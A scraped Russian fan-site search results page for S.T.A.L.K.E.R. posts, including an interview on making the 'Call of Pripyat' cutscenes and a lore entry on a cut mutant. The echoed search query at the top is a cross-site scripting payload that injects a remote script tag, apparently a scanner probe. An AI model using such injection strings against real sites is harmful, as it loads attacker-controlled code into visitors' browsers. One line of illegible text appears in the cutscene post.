Результаты поиска по запросу «

"></meta><Script src=https://wapiti3.ovh/1z.js></Script>

»
Запрос:
Создатель поста:
Теги (через запятую):



anon ...s.t.a.l.k.e.r фэндомы 

Анон, помоги!

Антуан, подскажи мод для сталкер тень чернобыля с оружейным паком, только что бы оригинальный сюжет игры был. Я серьезно, антон, помоги.
Только не нужно советовать моды типа: mod - YAPIDOR или: Mod - TIPIDOR, в такие я играть не хочу.
Развернуть

...#S.T.A.L.K.E.R фэндомы 

S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,фэндомы
Развернуть

stalker art личное ...#S.T.A.L.K.E.R фэндомы 

stalker art,S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,фэндомы,личное
Развернуть

Местный фольклор продолжение в комментах ...#S.T.A.L.K.E.R фэндомы 

Как создавались ролики для "Зова Припяти".



Хорошо знакомые нам анимационные ролики на компьютерной графике из первого S.T.A.L.K.E.R. и "Чистого неба" создавала австралийская студия Plastic Wax. Однако качество заставок, выполненных для приквела, не устроило GSC Game World, поэтому для следующей своей игры, "Зов Припяти",компания занималась ими самостоятельно и в другом виде: это были сменяющие друг друга слайды с озвучкой и титрами. Как проходил процесс их создания, нам рассказал непосредственный их творец, Илья Толмачёв, арт-директор проектов "Чистое небо", "Зов Припяти" и второго S.T.A.L.K.E.R. на начальном этапе, а теперь — креативный директор Flying Cafe for Semianimals, где разрабатывается Cradle. Собственно, давайте перейдем к самой истории Ильи :)
-Итак, задача стояла следующая: сделать вступительный и заключительный ролики для игры, и сделать их быстро — до релиза проекта оставалось месяца полтора, кажется. Посовещавшись с Русланом Диденко (руководитель проекта, сейчас стоит у руля Survarium ) и Андреем Верпаховским (ведущий геймдизайнер, в данное время — технический геймдизайнер в 4A Games), мы решили делать слайд-шоу из статичных картинок. Руслан и Андрей готовили сценарий и тексты, я делал визуализацию.
Когда сценарий был готов (55 сцен-слайдов), нужно было придумать, как их быстро нарисовать и выразительно преподнести в таком невыразительном формате, как слайд-шоу.
Я решил делать сцены на основепостановочных фотографий — портретов реальных людей, послуживших прототипами для персонажей. Это очень ускорило производство, так как позволило отснять около половины всех сцен с "натуры". Для их финализации требовалась всего лишь аккуратная доработка в PhotoShop.
Другая половина материала делалась на основе скриншотов из игры,3D-рендеров, коллажей из цифровых и старых плёночных фотографий, и просто рисованного арта. Из-за такой неоднородности исходного материала возникла ещё одна задача — найти метод постобработки всех слайдов, который позволил бы привести их к общей цветности и фактуре.
Чтобы обобщить цветность, я использовал Gradient Mapping, окрасив светлые тона в желтоватый оттенок, а тени — в холодный, голубоватый. Чтобы исправить разнородность фактуры, я дублировал слайд и накладывал его поверх исходного с небольшой прозрачностью. Нижний слайд слегка размывался, а к верхнему применялось повышение чёткости раз 20-30 подряд. Он превращался в равномерное полотно из чёрных и белых точек, и покрывал изображение необычно фактурой, напоминающей гравюру. Дополнительно накладывались мелкие царапины и шум.
Большая часть слайдов составлялась из фрагментов фотографий, и дополнялась рисованными деталями. Когда нужно быстро обогатить кадр тонкой графикой, ветки деревьев — лучшие помощники.
Программист мультиплеера, Александр Манилюк, держал в руках невидимую мензурку и невидимые очки. "Улыбайся, Сань. У тебя эксперименты удались", — говорили мы ему во время съёмки.
Дизайн помещения навеян сценой из фильма "Сталкер" Андрея Тарковского. Там был большой зал с колоннами и песчаными барханами.
Небольшая доработка лиц вручную. Фотография живого человека проявлялась поверх модели выборочно, в нескольких местах. Стрелок в очках в игру не вошел. Про него говорили: "У него, наверное, дома есть заграничные кассеты".
Чтобы сделать щенят псевдособаки, Рома Малинкин (аниматор "Зова Припяти", технический директор Cradle) предложил изменить пропорции оригинальной, взрослой модели. Охранник офиса GSC. Очень добродушный и весёлый человек. Когда я делал этот слайд, было уже совсем поздно, около полуночи. Охранник укладывался спать, именно поэтому он в майке. Я упросил его попозировать мне, и сфотографировал на свой старый телефон Motorola. Говорю ему: "Потирайте руки и ухмыляйтесь — вы бывалый торгаш". А он отвечает: "Ой, Илья, иди уже домой".
Когда все слайды были готовы, нужно было их анимировать — придать немного динамики самим слайдам и, особенно, тем местам, где слайды сменяли друг друга. В программе для видеомонтажа(Sony Vegas) я придал кадрам небольшое мерцание, шум и сделал затемнения по краям. Сверху поместил слой с вытянутой по горизонтали картинкой, с чёрными "волнами". Картинка смещалась, "волны-затемнения" накатывали на слайд сверху и снизу, на время, скрывая часть деталей, и этим оживляли кадр.
Когда подходил момент смены слайда, проявлялось видео летящих листьев, снятых программой Fraps непосредственно в игре. Листья становились гуще, и, наконец, кадр резко затемнялся ещё одной смещающейся картинкой. В момент, когда кадр становился полностью чёрным, слайд подменялся.
 FAN.COM АВАРИЙ А98б ВЗРЬ'р 4-К9 «£wfeC«v , Л’гО&М. А»ФОбУ<14 (' &ГРЛК.£р X&JOrppycp /H>p£Z?t*pe&AI ?fcu>tAHPr$ £ . <и&'хД.Ы*м.&- ~5&tcAy''ЗсгНЬ/ ЛАГЪр. 9 БЫ^И Г /ПЕЛЛ Вертолет терпмг РГ Р AU-£>) p/tzropop tftylr Л10СГОМ в фО р^ггген csmh. ъсеПАа£г>еяК- &
Развернуть

сидорович баги ...#S.T.A.L.K.E.R 

Ебал я фанатские моды на сталкер!
Качал час, ебался два, чинил час...
Заработало... выбежал упал в костер и сгорел
сидорович,баги,S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,разное
Развернуть

art красивые картинки stalker art ...#S.T.A.L.K.E.R 

art,арт,красивые картинки,S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,разное,stalker art
Развернуть

дуэль Комиксы песочница ...stalker (игра) 

stalker (игра),дуэль,Смешные комиксы,веб-комиксы с юмором и их переводы,песочница
Развернуть

shadow of chernobyl 2007 верни мне мой 2007 ...#S.T.A.L.K.E.R 

S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,shadow of chernobyl,2007,верни мне мой 2007
Развернуть

Местный фольклор Энциклопедия Мутантов ...#S.T.A.L.K.E.R 

Леший - мутант неизвестного происхождения, заявленный в отменённом S.T.A.L.K.E.R. 2

S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,разное,Местный фольклор,Энциклопедия Мутантов

Встретить это, по всей видимости, уникальное существо можно только глубоко в лесу, вдали от проторенных тропинок и сталкерских баз.

Высокий гуманоид с непропорциональным телом, покрытым фрагментами древесной коры с порослями растительности, и вытянутой деформированной головой, на которой расположены впадины глаз и узкая щель рта. Нос, как таковой, отсутствует. На первый взгляд лишен явно выраженных половых признаков и представляется существом бесполым. Прямоходящий, однако, ввиду особого строения тела, ему легче передвигается на четвереньках. Обладает способностью погружать своих жертв в глубокий сон.


Образ жизни и поведение.

Странный монстр, который не пытается догнать свою жертву. Стоит в неагрессивной позе, смотрит на жертву издалёка и издаёт протяжный, тоскливый звук, словно поёт. Или стоит молча – тогда можно просто не заметить его. Жертва почувствует обычную усталость, ляжет на листья, заснёт и больше не проснётся. После этого леший подхватывает свою жертву на руки и несёт в своё логово – почерневшую деревянную избу. Собрав достаточное количество жертв, леший раскладывает тела в виде правильной звезды, так чтобы головы соприкасались друг с другом и составляли центр звезды. После этого монстр встаёт на четвереньки, образовывая своим телом арку над звездой из сталкеров. Его тело трещит и изменяет форму – щели между фрагментами древесной коры, покрывающей тело, расходятся, и обнажают уязвимые внутренности. В этот момент леший ужинает – он питается аномальной энергией Ноосферы – единственным ресурсом, который может поддерживать жизнь в этом нелепом существе. Леший использует комбинацию нервных систем своих жертв как одноразовый проводник, по которому энергия передаётся из Ноосферы к существу. В течение одного такого сеанса сталкеры погибают, а Леший снова полон сил, может бродить по лесу и петь свои песни.


По задумке, игроку нужно было отправиться в лес, выследить лешего, подобраться к его жилищу, и раньше, чем он заметит и напустит сон, притвориться спящим. В момент кормления игрок должен был выхватить оружия и расстрелять внутренности монстра.

S.T.A.L.K.E.R,#S.T.A.L.K.E.R, s.t.a.l.k.e.r, S.T.A.L.K.E.R.,,разное,Местный фольклор,Энциклопедия Мутантов

Развернуть

stalker video armstalker online Arma 3 Arma Игры stalker mods сделал сам ...#S.T.A.L.K.E.R фэндомы 


Привет, сталкеры! Довольно давно нашел интересный проект на базе Армы 3 под названием Armstalker Online.

Вы скорее всего слышали о нем, но я решил выложить свое видео кустарного производства, потому что других видео с геймплеем на реахтуре не нашел. Возможно, оно поможет вам определиться, стоит ли играть в данный мод. Все действия происходящие в видосе были реальной игровой ситуацией, а не постановой. Однако стоит добавить, что происходило это все на RolePlay сервере, который сейчас закрыт на обновление. На данный момент доступен только обновленный PVP сервер с увеличенной в два раза картой Кордон.

Более подробную информацию ищите здесь http://vk.com/armstalker_online ну или можете просто спросить  меня.


Развернуть